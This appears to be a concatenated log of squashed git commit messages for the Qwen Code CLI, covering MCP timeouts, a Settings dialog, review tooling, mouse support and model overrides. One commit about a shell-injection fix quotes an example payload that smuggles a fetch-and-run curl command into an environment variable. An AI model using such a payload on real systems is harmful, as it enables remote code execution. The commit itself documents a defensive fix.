* fix(ci): stabilize Windows loop tests
* fix(cli): resolve session test review comment
* docs(cli): clarify resolveHomeLoopResolverRoots homeDir usage
Add a comment explaining that homeDir is only consulted when QWEN_HOME
is unset; when QWEN_HOME is set, confinement root is homeQwenDir.
* fix(cli): resolve loop resolver review comments
* feat(core): add configurable idle timeout for MCP tool calls
Adds an idle timeout mechanism that aborts MCP tool calls when the server
does not produce any response or progress update within a configurable
window. This prevents hung tool calls from blocking the session
indefinitely.
- Configurable via mcpToolIdleTimeoutMs config parameter or
QWEN_CODE_MCP_TOOL_IDLE_TIMEOUT_MS environment variable (default 5 min)
- Implemented via AbortController + AbortSignal.any() to combine external
cancellation with idle timeout
- Timeout resets on each progress notification, distinguishing between
slow-but-working servers and truly hung servers
- Added settingsSchema entry with min 10s, max 1h validation
- 3 test cases covering timeout abort, progress reset, and disabled state
Closes#6047
* fix(cli): wire mcpToolIdleTimeoutMs from settings to ConfigParameters
The settings schema defines mcp.toolIdleTimeoutMs and Config reads
mcpToolIdleTimeoutMs from ConfigParameters with an env-var fallback,
but the CLI config builder was not passing settings.mcp?.toolIdleTimeoutMs
into ConfigParameters. This meant configuring it via settings.json had
no effect — only the env var and constructor default (300000ms) worked.
Add the missing wiring line near the other mcp fields.
* fix(core): address PR #6061 review feedback for MCP idle timeout
- Fix env var parsing: use explicit Number.isFinite check instead of || to allow 0 (disable)
- Add timer.unref() to prevent idle timeout from blocking process exit
- Move clearTimeout to finally block to avoid duplication
- Fix progress reset test: mock now observes abort signal and timing is correct
* feat(cli): add tabbed Settings dialog with Status and Stats tabs
Align the /settings dialog with Claude Code's /config: a top tab bar
(Settings / Status / Stats) with a "Search settings…" box on the Settings
tab. Focus moves vertically tab bar -> search box -> list, so typing filters
the settings while the highlight only ever shows on the focused region.
The Status tab surfaces the same system information as /status, and the Stats
tab embeds the full /stats dashboard (Session / Activity / Efficiency
sub-tabs). StatsDialog gains an isFocused prop so it only consumes keyboard
input while that tab's content is focused, and an availableHeight prop so the
Efficiency model table is capped (with a "+N more" pointer) to fit inside the
host dialog. Standalone /status and /stats are unchanged.
* fix(cli): address Settings dialog review feedback
- Tab from the search box now moves focus to the list zone when entering
scope mode, so the search-zone handler no longer intercepts keys while
the ScopeSelector is focused.
- Allow spaces in the settings search box so multi-word queries (e.g.
"vim mode") can be typed.
- Route digit keys into the search box for non-number settings instead of
swallowing them, so queries like "8080" filter correctly.
- Log the Status-tab system-info load failure via debugLogger instead of
silently swallowing the error.
- Add regression tests for the search-space and digit-to-search behavior.
* fix(cli): address Settings dialog review feedback
- Guard the list-zone type-to-search catch-all with isPrintableSearchChar
so an empty-query Backspace no longer appends the DEL (0x7F) byte as an
invisible character that hides every setting behind "No settings match".
- Only render the "press r to restart" prompt on the Settings tab, where
the r handler is reachable; on the Status/Stats tabs it was shown but
inert (and the embedded Stats dashboard binds r to cycle date ranges).
- Drop the unsafe `as unknown as CommandContext` cast on the Status tab by
narrowing getExtendedSystemInfo and friends to the services subset they
actually read; a full CommandContext is still assignable.
- Extract the embedded Efficiency model-table row budget to named constants
and account for the tool leaderboard's fixed title/header/margin rows.
- Add tests for list-zone Escape (clear-then-close) and the Efficiency
model-row cap ("+N more").
* fix(cli): address Settings dialog search/layout review feedback
- Search box: reuse the shared isPrintableSearchChar predicate (excludes
DEL/C1/pastes/multi-grapheme) instead of a hand-rolled filter, and make
Backspace grapheme-aware via removeLastGrapheme (exported from
useSessionSearchInput) in both the search and list zones so emoji /
surrogate pairs are deleted whole.
- Search filter now matches the setting key and description in addition to
the localized label.
- Embedded StatsDialog availableHeight: subtract the ConfigTabBar + spacer
rows (now -6 total) so the Efficiency model table never exceeds the host.
- Reset scrollOffset when ↑ moves focus from the top of the list to the
search box (defensive; keeps the viewport consistent with the selection).
* fix(cli): harden Settings dialog tab/scope/edit state machine
Addresses review feedback on the tabbed Settings dialog:
- Reset scope mode whenever the active tab changes, so a stale
ScopeSelector can't render while the keypress router treats the tab
as a data view (tab/scope desync).
- Discard an in-progress edit when leaving the settings list (scope
mode or a tab switch), so its captured keystrokes can't resurface and
be committed against the wrong field. Keyed on mode (not focusZone):
the reachable desync is Tab-into-scope-mode while editing, which keeps
focusZone === 'list'.
- Guard the restart 'r' handler on mode === 'settings' so it no longer
triggers a restart/exit while the ScopeSelector (which does not handle
'r') is open.
- Support Shift+Tab to cycle the top tab bar backwards, matching the
embedded Stats sub-tabs.
- Keep the search-zone Tab handler's state updater pure (apply
setFocusZone as a side effect instead of from inside the setMode
updater).
- Document the StatsDialog width chrome offset.
All SettingsDialog unit tests pass; eslint and prettier clean.
* fix(cli): consume printable key in Settings list zone to prevent stray restart/exit
In the Settings tab list zone, the `isPrintableSearchChar` branch appended to
the search query but did not return, so execution fell through to the restart
handler below. Pressing `r` to filter while a restart prompt was showing
therefore triggered onRestartRequest / process exit instead of typing into the
search box. Add a return so the printable key is consumed by the search branch.
* fix(cli): address Settings/Stats dialog review feedback
- Make the restart 'r' key reachable from the settings list zone: it was
consumed by the implicit-search branch before the restart handler could
run, so "Press r to exit" only filtered the list. Handle 'r' explicitly
before isPrintableSearchChar via a shared applyRestart helper.
- Clamp the StatsDialog availableHeight at the source (Math.max(3, ...)) so
a very short terminal can't pass a negative height downstream.
- Reset systemInfo to null when leaving the Status tab so a revisit shows
the loading line and refetches instead of flashing stale data.
- Account for the conditional Code Impact section (CODE_IMPACT_ROWS) when
capping the embedded Efficiency model table.
* fix(cli): hide restart prompt in scope mode where 'r' is inert
The restart prompt ('Press r to exit and apply changes now.') rendered
whenever the Settings tab was active, but the 'r' key handler lives inside
the 'mode === settings' branch. In scope mode the prompt was shown while
'r' did nothing. Gate the prompt on 'mode === settings' so it only appears
when the key that dismisses it is reachable.
* fix(cli): address Settings dialog review feedback (escape/focus, status errors, search)
Resolve unresolved review threads on the tabbed Settings dialog:
- Reset focusZone away from 'search' when leaving the Settings tab, so the
embedded Stats view (isFocused={focusZone==='list'}) is not left an
unresponsive keyboard dead zone.
- Escape in scope mode now backs out to the settings list instead of
dismissing the whole dialog.
- Stats tab Escape now defocuses to the tab bar (first Esc) and closes on the
second, mirroring the other tabs; the embedded StatsDialog's onClose is
redirected because both keypress handlers are live.
- Status tab: surface a failed getExtendedSystemInfo() with an error line and
an `r` retry instead of an indefinite "Loading status…" spinner.
- Reuse the shared isDeletionKey predicate for both search-delete paths so
terminals emitting raw DEL/BS bytes can delete the query.
- Include the scope qualifier in the settings search filter.
- Hide the restart prompt unless focusZone==='list' (where `r` actually works).
- Cap the embedded Stats tool leaderboard so a long tool list can't overflow.
- Gate the "(Tab to switch)" hint on isFocused; pass width to the Status
AboutBox; truncate long search queries; fix a misleading tab-cycle comment;
move i18n leading spaces out of the "+N more" keys.
* fix(cli): gate embedded Stats hint on focus, guard list-zone deletion, cover maxToolRows
- StatsDialog: blank the bottom keybinding hint when the embedded dialog
is not focused, so it no longer advertises Tab/r/arrow keys that the
parent (not this dialog) actually handles.
- SettingsDialog: return after the list-zone deletion-key branch, matching
the sibling printable-char branch, so a future handler appended to the
chain cannot run on deletion keys.
- StatsEfficiencyTab.test: add coverage for the maxToolRows tool-leaderboard
capping and the '+N more' overflow line, mirroring the maxModelRows tests.
* fix(cli): make Settings scroll arrows position-aware and Status retry focus-agnostic
Address review feedback on the tabbed Settings dialog:
- Show the up/down scroll arrows only when items are actually hidden in that
direction (scrollOffset-based), instead of whenever the list overflows. This
removes the misleading up arrow at the top of the list, where ↑ exits to the
search box, and the down arrow at the bottom.
- Handle the Status tab's `r` retry shortcut before the tab-bar early return so
it works whether focus is on the tab bar or the data view, matching the
on-screen "Press r to retry" hint.
Snapshots updated to drop the top-of-list up arrow.
---------
Co-authored-by: DragonnZhang <dragonzhang1024@gmail.com>
Co-authored-by: Claude <noreply@anthropic.com>
* feat(channels): add group history backfill
* fix(channels): harden group history backfill
* fix(channels): address group history review gaps
* fix(channels): apply wildcard group history limit
* refactor(review): drop deterministic-analysis and autofix steps
Slim the bundled /review skill from 11 to 9 steps by removing Step 3
(deterministic analysis — auto-run of tsc/eslint/ruff/clippy/go vet
plus CI-lint discovery) and Step 8 (autofix — PR-worktree auto-fix,
commit and push).
Renumber the remaining steps (4→3 … 11→9) and update every
cross-reference. Agent 7 (Build & Test) stays in the parallel review
step and now always runs build+test instead of skipping when Step 3
had already compiled. The [linter]/[typecheck] source tags are dropped;
[build]/[test]/[review] remain. DESIGN.md is updated to match (step
numbers, removed Autofix/deterministic rationale, LLM-budget table).
* refactor(review): address review feedback on the /review slimming
Follow-up to the 11->9 step change, addressing PR review comments:
- Restore base-branch CI-config protection in Agent 7. The removed Step 3 carried the instruction to read CI config from the base branch; without it Agent 7 would discover build/test commands from the untrusted PR branch. Re-added to Agent 7's CI-config discovery clause.
- Drop the stale "linters" token from the worktree rule (no standalone linter step runs anymore).
- Narrow the exclusion criteria: substantive lint/type issues (unused vars, unreachable code, type errors) are no longer auto-excluded now that no deterministic tool catches them; only pure formatting stays excluded.
- Update user docs to match: docs/users/features/code-review.md (11->9 steps, remove the Deterministic Analysis and Autofix sections, drop the two comparison-table rows, renumber the Token-efficiency table) and docs/users/features/commands.md (agent count).
- Fix stale step-number references in CLI comments: cleanup.ts (Step 11->9) and presubmit.ts (Step 9->7, comment + yargs describe).
* refactor(review): remove orphaned deterministic subcommand, polish docs
Second round of PR feedback:
- Remove the now-orphaned `qwen review deterministic` subcommand. review.ts describes these subcommands as "internal helpers used by the /review skill"; with Step 3 gone the skill no longer invokes it, so the ~740-line module plus its import / registration / describe / subcommand-list entries were dead code. Deleted deterministic.ts and its wiring in review.ts.
- Decouple the exclusion criterion from pipeline state (SKILL.md): substantive lint/type issues (unused vars, unreachable code, type errors) are now "in scope — LLM agents should report them" rather than "no longer have a deterministic tool catching them", so the rule stays correct if a linter step is ever re-added.
- Drop the stale "linting" justification from the worktree dependency-install note (SKILL.md); only build/test remain.
- DESIGN.md: rename the subcommands section to "presubmit and cleanup", drop "lint" from the review-tools rejected alternative, and fix the "we already have those" cell to "We retain build/test (Agent 7)".
* refactor(review): resolve exclusion-criteria contradiction, polish wording
Third round of PR feedback:
- Merge the exclusion criteria to remove the contradiction between the unconditional "matches codebase conventions" exclude and the "substantive lint/type issues are in scope" include. Now a single bullet: cosmetic style/formatting/naming is excluded, but substantive issues a linter or type checker would flag (unused variables, unreachable code, type errors) are in scope even where the surrounding code tolerates them. Kept decoupled from pipeline state (no "deterministic tool" wording). Applied in both SKILL.md and docs/users/features/code-review.md.
- SKILL.md lightweight-mode skip: "(no local reports or cache)" to match Step 8's title ("Save review report and cache").
- DESIGN.md: rename the CI-config section to "auto-discover build/test commands" to match the body, which was narrowed to build/test only.
* test(review): guard qwen review subcommand surface, fix stale docs linting ref
- Add packages/cli/src/commands/review.test.ts verifying the `qwen review` builder registers exactly [fetch-pr, pr-context, load-rules, presubmit, cleanup], no longer registers the removed `deterministic` subcommand, and that `describe` no longer mentions deterministic analysis. Guards against silently re-adding the subcommand or dropping a helper (review.ts previously had no test).
- docs/users/features/code-review.md: drop the orphaned "linting" from the Worktree Isolation dependency-install note; only build/test remain now that Step 3 is gone.
* feat(auto-mode): add classifyAllShell setting to route all shell commands through classifier
When autoMode.classifyAllShell is true, every shell command (including
read-only ones that would normally be auto-approved) is routed through
the auto-mode LLM classifier for safety review. Default false preserves
existing behavior.
Closes#6039
* fix(core): add classifyAllShell check to autoApproveCompatiblePendingTools
The third forceAutoReviewForAllow computation site in
autoApproveCompatiblePendingTools was missing the
shouldClassifyAllShellForAutoMode OR-branch, allowing shell commands
to bypass the classifier when classifyAllShell is enabled.
Addresses qwen-code-ci-bot critical review on PR #6040.
* fix(core): use optional chaining in shouldClassifyAllShellForAutoMode
Prevents TypeError when config.getAutoModeSettings() returns undefined
in tests or edge cases where AutoModeSettings is not initialized.
* docs(auto-mode): document classifyAllShell setting
Add new section explaining the classifyAllShell option, a tip in the
'How it works' overview, and a commented-out example in the approval-mode
configuration reference.
* fix(test): add missing getAutoModeSettings mock in AUTO denial counter reset test
The dev/build helper sandbox_command.js interpolated the QWEN_SANDBOX
value straight into a shell string passed to execSync, so a value like
'docker; curl evil.sh | sh' would run the trailing command. Pass the
candidate as a separate argv element via execFileSync instead, using an
absolute /bin/sh for the POSIX 'command -v' builtin so a PATH-controlled
shell cannot be hijacked either.
Add a subprocess regression test covering several injection payload shapes.
Audit docs/ against the current codebase and correct user-facing drift:
- Document glob-pattern support (* and ?) for mcp.allowed / mcp.excluded
in settings.md and the MCP feature page (feat #6012).
- Add missing user-facing settings rows: general.terminalBell,
general.preventSystemSleep, general.chatRecording; ui.showStatusInTitle,
ui.disableWorkflowKeywordTrigger, ui.enableUserFeedback, ui.compactInline,
ui.useTerminalBuffer, ui.hideBuiltinWorktreeIndicator;
memory.enableTeamMemory, memory.enableTeamMemorySync; tools.toolSearch.enabled.
- Note the QWEN_MODEL alias for OPENAI_MODEL in the auth protocol table.
- Document the autonomous (bare /loop) mode in scheduled-tasks (feat #5991).
Co-authored-by: Claude <noreply@anthropic.com>
* fix(core): keep plan mode and require approval when plan gate is unavailable
* fix: address self-review findings
---------
Co-authored-by: Matt Van Horn <455140+mvanhorn@users.noreply.github.com>
* fix(core): subtract reserved output tokens from context window for compression thresholds
When max_tokens escalates to 64K (ESCALATED_MAX_TOKENS), the effective input
budget drops but computeThresholds() was still called with the full context
window. This caused auto-compression to never fire before the API rejected
with a 400 error.
The fix reserves the output budget at both threshold sites (auto + hard):
- Source: params.config.maxOutputTokens (subagent), samplingParams.max_tokens
(user override), or max(ESCALATED_MAX_TOKENS, tokenLimit(model, 'output'))
as fallback for the interactive path
- Both the cheap-gate auto threshold and the hard-rescue threshold now use the
adjusted contextLimit
- The reactive-compression path also receives reservedOutputTokens
Tests:
- 4 new chatCompressionService tests (reservation, backward-compat, edge case)
- 1 new sendMessageStream integration test exercising the real sourcing path
without params.config.maxOutputTokens (issue #5950 scenario)
- All 281 tests pass
Closes#5950
* fix(core): address v3 review — ACP path, observability, hard-tier test
* fix(core): address v4 review — env var sourcing + client.test.ts assertions
* test(core): add env-var sourcing test for QWEN_CODE_MAX_OUTPUT_TOKENS reservation
* fix(core): parse env var once to prevent invalid values disabling output budget
* feat(cli): add /config key=value slash command for settings management
Add a /config slash command that lets users get or set any setting by
dot-path key directly from the prompt, without opening the settings UI
or editing settings.json manually.
Supports:
- /config general.vimMode=true — set boolean
- /config general.vimMode — toggle boolean
- /config tools.approvalMode=auto — set enum with validation
- /config --help — list all settable keys with current values
- Tab completion for setting key names
- Levenshtein-based 'Did you mean?' suggestions for typos
- Type coercion (boolean, number, string, enum) based on schema
- Restart warning for settings that require it
- Array/object types rejected with settings.json redirect
Works in interactive, non-interactive (headless), and ACP modes.
Closes#5748
* fix(i18n): add zh-CN/zh-TW translations for /config command description
* chore: trigger CI re-run
* fix(i18n): add missing en.js key for /config command description
* fix(cli): address PR #5773 review comments for /config command
- Fix coerceValue: reject empty/Infinity for numbers, call validateSettingValue
- Non-boolean toggle now shows current value instead of error
- Add try/catch around setValue with user-friendly error
- Mask sensitive values (apiKey, proxy, baseUrl) in --help listing
- Add security-sensitive warning when setting proxy/credentials
- Case-insensitive boolean parsing (True/TRUE/1/0)
- Extract SETTABLE_TYPES as module-level constant
- Add as const to supportedModes
- Fix padRight overflow with ellipsis truncation
- Combine duplicate getSettingDefinition calls in completion
- Wrap all user-facing strings in t() with en/zh translations
- Add 9 new test cases (34 total)
* fix(cli): address remaining PR #5773 review comments
- Mask sensitive values in write-confirmation message (Critical)
- Trim rawValue after = sign for consistent enum/string matching
- Wrap formatValue/maskValue (not set)/(empty) in t() for i18n
- Add all config command translations to zh-TW.js
- Add (empty) translations to en.js, zh.js, zh-TW.js
- Add 2 new tests: sensitive write masking, whitespace trimming (36 total)
* fix(cli): address PR #5773 review comments for /config command
- Use setValues with throwOnWriteFailure instead of setValue to propagate disk write failures
- Remove dead isToggle branches in coerceValue, simplify signature
- Filter findClosestKey by SETTABLE_TYPES to avoid suggesting non-settable keys
- Use formatValue consistently for write confirmation display
- Narrow /token/i regex to path-segment boundary to avoid false positives
* fix(cli): block tools.approvalMode=yolo via /config for security
Address remaining Critical review comment from PR #5773:
- Block setting tools.approvalMode to 'yolo' via /config command
- yolo disables all tool-execution confirmation prompts, posing a
security risk especially in ACP mode where commands can be sent
programmatically by a compromised client
- Other sensitive keys (proxy, baseUrl, apiKey) retain existing
warning mechanism as they are legitimate configuration targets
- Add i18n translations for the block message (en/zh/zh-TW)
- Add 2 test cases: yolo blocked, non-yolo values allowed
---------
Co-authored-by: 易良 <1204183885@qq.com>
The Web Shell HTML shell shipped without a <link rel="icon">, so the
browser tab fell back to the generic page glyph and every load fired a
404 for /favicon.ico (the daemon static server only exposes /assets/*
and /, so a dist-root favicon file is unreachable).
Inline the Qwen mark as a data: URI in index.html instead of adding a
file + a new served route. The encoding mirrors
packages/web-templates/src/export-html (encodeURIComponent(svg)) and the
data: URI is already permitted by the shell CSP (img-src 'self' data:).
The purple #6D44E8 brand fill stays legible on both light and dark
browser tab bars.
* feat(ui): add mouse click & hover in alternate-screen mode
Enable mouse interactions when Virtualized History (ui.useTerminalBuffer)
is on — it comes along with VP mode, mirroring the existing mouse-wheel
support; there is no separate setting:
- select menus / dialogs (permission prompts, /model, /config, theme, …):
hover highlights the row under the pointer, click selects it
- / and @ suggestion lists: hover highlights, click accepts
- prompt input: left-click positions the text cursor
Adds a 'button'/'any' SGR tracking-level split to useMouseEvents (hover
needs ?1003h any-event tracking; input click uses the cheaper ?1002h), a
shared RowMouseController (menus + suggestions) and TextInputMouseController
(prompt), plus pure, unit-tested coordinate helpers (list-mouse, input-mouse).
Terminal mouse rows map to layout rows via
`min(0, terminalHeight - frameHeight)` so alternate-screen overflow
(content taller than the screen, top rows scrolled off) is corrected while
a shorter, top-anchored frame stays at anchor 0. Inline mode is unsupported
(its live region floats in native scrollback). Keyboard navigation is
unchanged.
* fix(ui): address review feedback on mouse interactions
- Route suggestion-list hover/select to the same completion source that
builds suggestionDisplayProps. Previously the mouse handlers were hardwired
to the normal completion controller, so in reverse-search / command-search
mode hovering updated hidden state and clicking could no-op or accept the
wrong suggestion. Selecting in search mode now also resets that controller
and exits search mode, mirroring keyboard acceptance. Export completion has
no index-based handler, so mouse selection is disabled while it is shown.
- Suppress SGR mouse parsing while a bracketed paste is in progress in
KeypressContext. Pasted content containing `\x1b[<...M/m` was reconstructed
and dispatched as a real click, which (now that selection lists and the
prompt subscribe to mouse events) could let a pasted payload select a dialog
option or move the cursor. Those bytes now fall through to the paste buffer.
Adds a regression test with bracketed-paste content carrying an SGR press.
- Mount TextInputMouseController whenever mouse input is active rather than
only when the buffer is non-empty, so clicking an empty prompt works and
enable/disable escape sequences aren't churned on every empty<->filled
toggle. handleMouse already guards null lines and zero-height rects.
- Expose setActiveSuggestionIndex from useReverseSearchCompletion to support
hover targeting the active search source.
* docs(ui): correct RowMouseController frame-anchor comment
The header comment claimed the layout row is just event.row - 1 with no
frame anchor needed (mirroring VirtualizedList.hitTestScrollbar), but the
code routes through frameAnchor/terminalRowToLayoutRow, which subtracts a
negative anchor when the frame overflows the terminal. Correct the comment
to describe the anchor and why hit-testing needs the correction that the
scrollbar track does not.
* fix(ui): give bracketed paste priority over half-built SGR mouse fragment
When an SGR mouse fragment is mid-reassembly (e.g. a mouse-move \x1b[<…
arrives without its terminating M) and a bracketed paste begins, the
paste-start event was swallowed into the SGR buffer instead of setting
isPaste. That left isPaste false so an SGR left-press embedded in the
pasted content was reconstructed into a real click (e.g. selecting a
dialog option). Discard the half-built fragment on paste-start and fall
through to the paste handler. Adds a regression test.
* fix(ui): align mouse suggestion-accept with keyboard and snap wide-char clicks
Address review feedback on the TUI mouse PR:
- Mouse clicks on a completion suggestion now mirror the keyboard accept
path: reset the expanded-suggestion view and export navigation ref,
dismiss @folder completions, and honor `submitOnAccept` so clicking a
leaf command (e.g. `/skills`) submits it in one click, matching Enter.
- `visualClickToOffset` snaps to a wide (CJK/emoji) character's right
boundary when its right half is clicked, instead of always snapping to
the left edge; narrow characters still resolve to the left boundary.
Adds unit coverage for the wide-char snapping and a focused test for the
default-source suggestion hover/select routing and submit-on-click.
* refactor(ui): extract resetSgrMouse helper and cover @folder mouse dismissal
Address PR review feedback on the TUI mouse work:
- KeypressContext: hoist the duplicated SGR-mouse reset block
(swallow flag + buffer + timeout) into a single resetSgrMouse()
helper, used by the bracketed-paste, ctrl+c, paste-start, and
teardown paths. No behavior change.
- InputPrompt.suggestionMouse.test: add coverage for clicking an
@folder suggestion in @-mention mode, asserting the completion is
dismissed so the dropdown stays closed.
* fix(ui): keep combining marks attached when mapping a click to a cursor offset
visualClickToOffset forced a minimum width of 1 per code point, so a
zero-width combining mark (e.g. 'e' + U+0301) consumed a phantom column.
Clicking the glyph after a decomposed grapheme landed the cursor between
the base character and its combining mark instead of after the grapheme.
Zero-width code points are now skipped without consuming a column, matching
how the terminal renders them. Adds a regression test on 'e\u0301x'.
* fix(ui): keep combining marks attached when snapping past a wide char
When a click lands on the right half of a wide base character (e.g. a CJK
glyph) that is followed by a zero-width combining mark, the cursor was placed
between the base char and its mark. Step over following zero-width code points
after snapping past the glyph so the cursor lands after the full grapheme.
* fix(ui): cap SGR mouse reassembly buffer and simplify reset on paste
Bound the SGR mouse reassembly buffer to the same 50-byte limit used by
isIncompleteMouseSequence (now a shared MAX_SGR_MOUSE_SEQUENCE_LENGTH constant)
so a malformed \x1b[< without a terminator no longer swallows keystrokes until
the timeout fires. Also drop the redundant swallowingSgrMouse guard before the
idempotent resetSgrMouse() call in the paste branch, matching the other call
sites.
* refactor(ui): extract layoutRowForEvent for mouse row mapping
The frameAnchor(measureFrameHeight(node)) + terminalRowToLayoutRow(event.row)
pair was duplicated in RowMouseController and TextInputMouseController. Extract
a single layoutRowForEvent helper so the anchor->layout-row correction is
single-sourced and can't drift between the two controllers.
* test(ui): cover command-search mouse hover and click routing
Adds coverage for the reverse/command-search branch of handleSuggestionHover
and handleSuggestionSelect: a click while command search is active accepts via
the search completion, resets it, and exits search mode (rather than leaving
the UI stuck in search), and hover routes to the search source instead of the
default completion.
---------
Co-authored-by: Claude <noreply@anthropic.com>
* feat(cli): support inline one-shot model override in /model
Allow `/model <model-id> <prompt>` to run the trailing prompt on another
model for a single turn, without changing or persisting the session model.
The prompt is submitted via a per-turn `modelOverride` carried on the
`submit_prompt` result, so the chosen model applies to the turn and any
tool-call continuations it spawns, then auto-reverts on the next user
turn. This avoids session mutation, persistence, and the stuck-model
failure modes a switch+revert design would hit on cancel/error.
Scope: same-provider model switching only. An id that resolves to a
different auth type is rejected with a hint to use the two-step
`/model <id>` flow (which already handles cross-provider switches).
* feat(cli): apply inline model override in non-interactive mode
The `/model <id> <prompt>` inline override is also reachable in
non-interactive mode (the command declares `non_interactive` support),
but the non-interactive runner only consumed `submit_prompt.content` and
dropped the model override, so the prompt ran on the session default.
Thread `modelOverride` from the submit_prompt result through the
non-interactive slash result type and seed the run loop's per-turn
`modelOverride` with it, matching the interactive behavior. Verified via
OpenAI request logging: `/model glm-5.1 <prompt>` sends `model: glm-5.1`
on the foreground turn while the session default and background subagents
stay on the configured model.
* test(cli): cover modelOverride passthrough in non-interactive slash results
Assert handleSlashCommand forwards a submit_prompt result's modelOverride
to the non-interactive result, and omits it when unset.
* fix(cli): address review on inline model override
- Update the stale /model description assertion that broke CI.
- Prevent skill-tool model overrides from clobbering an explicit inline
`/model <id> <prompt>` override mid-turn: a user-set inline override now
wins for the whole turn (including tool-call continuations) via a
dedicated active flag, reset on the next user turn.
- Reject the inline form in ACP mode, where the send pipeline does not
thread a per-turn override (it would otherwise silently run on the
session model); the two-step `/model <id>` flow still works there.
- Fix the argumentHint to not imply a prompt is valid after --fast/--voice
/--vision, and note in the description that the inline prompt is sent
verbatim without @file expansion.
* fix(i18n): translate updated /model description for strict-parity locales
The inline-override description change orphaned the old translation key, so
zh-CN/zh-TW fell back to English and the strict-parity command-description
coverage test failed. Update the en/zh/zh-TW entries to the new description.
* fix(cli): protect inline model override from skill clobber and retry
Non-interactive/ACP main turn unconditionally applied skill-tool
modelOverride writes, so a skill returning `modelOverride: undefined`
(inherit) silently reverted an explicit `/model <id> <prompt>` override
to the session model mid-turn. Guard the write with
`inlineModelOverrideActive`, mirroring the interactive
`inlineModelOverrideActiveRef` guard.
Also clear an inline override on Retry: it is a one-off for the original
prompt, so a Ctrl+Y retry now reverts to the session model and lets
skill-tool overrides apply again, while skill-selected overrides are
still preserved across retries.
* fix(cli): pin inline model override to active provider identity
Address review on inline `/model <id> <prompt>` one-shot override:
- Reject an inline override unless the target resolves to the SAME provider
identity as the active session, not merely the same auth type. A different
auth type is rejected outright; within the active auth type the target must
match the active content generator's baseUrl + envKey. This prevents a
same-id model owned by a different (e.g. OpenAI-compatible) provider from
being sent to the active endpoint/credentials. Add tests for the
match/mismatch cases.
- Move the `!settings` guard past the inline path so the inline form, which
never touches settings, is no longer blocked when settings are absent.
- Add the two inline-override error strings to en/zh/zh-TW locales to satisfy
strict-parity translation coverage.
- Collapse the duplicated retry-clearing branches into a single condition.
- Report the inline override model (modelOverrideRef.current ?? getModel())
in the ApiCancelEvent and context-compaction info message so diagnostics
show the model that actually ran the prompt.
* fix(cli,core): trace and report inline model override lifecycle
Address review follow-ups on the inline `/model <id> <prompt>` override:
- Record the model that actually processed each prompt in telemetry. Add an
optional `model` field to `UserPromptEvent` and populate it with
`modelOverrideRef.current ?? config.getModel()`, mirroring the cancel event.
Emit it from both the OTel and clearcut loggers; add a logger test.
- Tell the user when a retry drops the inline override: emit an info history
item ("retrying on the session model (...)") before clearing it, so the
model switch on retry is no longer silent.
- Extract `applyModelOverride()` / `clearModelOverride()` helpers that write
both the model-id ref and the inline-active flag atomically, and route the
set/clear/skill-guard sites through them so the coupling invariant can't be
broken by editing one ref in isolation.
- Add debugLogger entries across the override lifecycle (set, clear,
skill-tool guard block in useGeminiStream; capture and per-turn init in
nonInteractiveCli) so a silent override failure is traceable on call.
* fix(cli): enforce inline model override provider identity at consumers
Address review follow-ups on the inline `/model <id> <prompt>` override:
- Guard against any slash command (not just the validated `/model`) setting
`modelOverride`. Extract `isInlineModelOverrideAllowed(config, modelId)` —
the shared provider-identity check (active auth type + baseUrl + envKey) —
and enforce it at both consumers (useGeminiStream and nonInteractiveCli)
before applying an override, dropping + warning on a mismatch. `/model`
reuses the same helper so command and consumers can't drift.
- Document the non-interactive divergence: `inlineModelOverrideActive` is a
run-scoped const (single-turn), not a mirror of useGeminiStream's mutable
ref helpers — no retry-clearing or skill-tool takeover applies there.
- Add the missing behavioral tests: a skill tool emitting
`modelOverride: undefined` during an inline-override turn does not clobber
the inline model, and a retry clears the inline override and reverts to the
session model. Add unit tests for the provider-identity helper.
* fix(cli): replace ✦ (U+2726) with ◆ (U+25C6) and add ∵/∴ thinking icons
- Replace ✦ with ◆ across all TUI components to fix East Asian
Ambiguous width misalignment (string-width reports 1 but terminals
render 2 columns).
- Use ∵ (because) during thinking streaming, ∴ (therefore) when
thinking is complete — matches the mathematical reasoning pair.
Co-Authored-By: Qwen Code <noreply@alibaba-inc.com>
* fix(cli): reduce STATUS_INDICATOR_WIDTH from 3 to 2 after ◆ replacement
◆ (U+25C6) is a consistent width-1 character across all terminals,
so the tool status indicator no longer needs the extra column that
was reserved for the ambiguous-width ✦ (U+2726).
Co-Authored-By: Qwen Code <noreply@alibaba-inc.com>
* fix(cli): catch missed ✦→◆ references in tests, docs, and scenarios
* fix(cli): shorten tmux spinner frames from 3 to 2 chars to match STATUS_INDICATOR_WIDTH=2
TMUX_SPINNER_FRAMES changed from ['. ', '.. ', '...'] to ['· ', '··']
to prevent 1-column overflow in tmux when STATUS_INDICATOR_WIDTH was
reduced from 3 to 2 after the ◆ replacement.
* revert(cli): keep narrow '.' tmux spinner frames instead of ambiguous '·'
'.' (U+002E) is Narrow (always 1 col), giving a guaranteed fixed-width
tmux spinner. '·' (U+00B7) is East Asian Ambiguous, so on ambiguous-width=2
terminals the frames become 3/4 cols and the spinner jitters — the opposite
of the "fixed-width frames" the surrounding comment promises.
Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>
---------
Co-authored-by: Qwen Code <noreply@alibaba-inc.com>
Co-authored-by: pomelo.lcw <pomelo.lcw@alibaba-inc.com>
Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>
* fix(daemon): resolve acp permission votes across connections
* fix(daemon): address review on acp permission vote resolution
Resolve the review feedback on PR #5912:
- dispatch.ts session/permission: add server-side stderr logging to every
failure mode (missing requestId, no pending entry, ownership failure,
bridge rejection) so a stuck permission prompt is debuggable, matching the
legacy resolveClientResponse path.
- On bridge rejection (accepted === false), stop deleting the pending entry
and stop reusing the "no pending" error. Keep the entry until teardown (as
the legacy path does) and return a distinct 409 "vote not accepted" error,
so the two states aren't conflated and a retry on another connection can
still land.
- connection-registry.ts: extract findPendingPermissionEntry shared by
findPendingPermission and deletePendingPermission so the matching predicate
lives in one place; delete now stops at the first (globally unique) match.
- index.ts: the abandonPending callback logs-and-returns-false before the
dispatcher is initialized instead of throwing through the teardown path,
matching the detachClient callback's defensive posture.
- Tests: cover the previously-untested handler branches (missing requestId,
invalid outcome shapes, cancelled outcome, bridge rejection + sessionId
inference + entry retention) and assert the connection-qualified id format
and the undefined-sessionId lookup branch.
Generated with AI
Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>
* fix(daemon): log dropped cross-connection vote + cover handler error branches
Address the second ci-bot review round on PR #5912:
- dispatch.ts resolveClientResponse: the cross-connection ownership guard
dropped a vote silently. Add a writeStderrLine so a vote rejected on the
legacy path leaves the same grep-friendly operator signal the
